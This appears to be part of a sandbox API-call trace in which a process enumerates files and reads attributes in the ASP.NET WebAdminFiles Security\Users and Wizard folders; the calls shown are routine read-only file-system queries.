	[0087.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="editUser.aspx.resx", cAlternateFileName="EDITUS~1.RES")) returned 1
	[0087.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed0bdc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="findUsers.aspx.resx", cAlternateFileName="FINDUS~1.RES")) returned 1
	[0087.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageUsers.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1
	[0087.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.694] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\addUser.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources\\adduser.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x603)) returned 1
	[0087.696] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\editUser.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources\\edituser.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xccc)) returned 1
	[0087.697] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\findUsers.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources\\findusers.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed0bdc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1
	[0087.697] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\manageUsers.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources\\manageusers.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xddd)) returned 1
	[0087.698] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\adduser.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x150e)) returned 1
	[0087.698] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\edituser.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fcf08 | out: lpFileInformation=0x123fcf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec999a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2f41)) returned 1
	[0087.698] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\findusers.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fcf58 | out: lpFileInformation=0x123fcf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed0bdc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x20ba)) returned 1
	[0087.699] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\manageusers.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3da8)) returned 1
	[0087.699] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.700] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.700] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x963, dwReserved0=0x0, dwReserved1=0x0, cFileName="confirmation.ascx", cAlternateFileName="CONFIR~1.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizard.aspx", cAlternateFileName="WIZARD~1.ASP")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardAddUser.ascx", cAlternateFileName="WIZARD~1.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardAuthentication.ascx", cAlternateFileName="WIZARD~2.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardCreateRoles.ascx", cAlternateFileName="WIZARD~3.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardFinish.ascx", cAlternateFileName="WIZARD~4.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardInit.ascx", cAlternateFileName="WI7719~1.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x62c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardPermission.ascx", cAlternateFileName="WI658E~1.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardProviderInfo.ascx", cAlternateFileName="WIDC57~1.ASC")) returned 1
	[0087.701] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.701] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.702] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.705] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.705] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="confirmation.ascx.resx", cAlternateFileName="CONFIR~1.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizard.aspx.resx", cAlternateFileName="WIZARD~1.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardAddUser.ascx.resx", cAlternateFileName="WIZARD~2.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x74b, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardAuthentication.ascx.resx", cAlternateFileName="WIZARD~3.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardCreateRoles.ascx.resx", cAlternateFileName="WIZARD~4.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardFinish.ascx.resx", cAlternateFileName="WIEAF3~1.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x60e, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardInit.ascx.resx", cAlternateFileName="WI6404~1.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardPermission.ascx.resx", cAlternateFileName="WIBB25~1.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="wizardProviderInfo.ascx.resx", cAlternateFileName="WIDA10~1.RES")) returned 1
	[0087.707] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.707] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\confirmation.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\confirmation.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x307)) returned 1
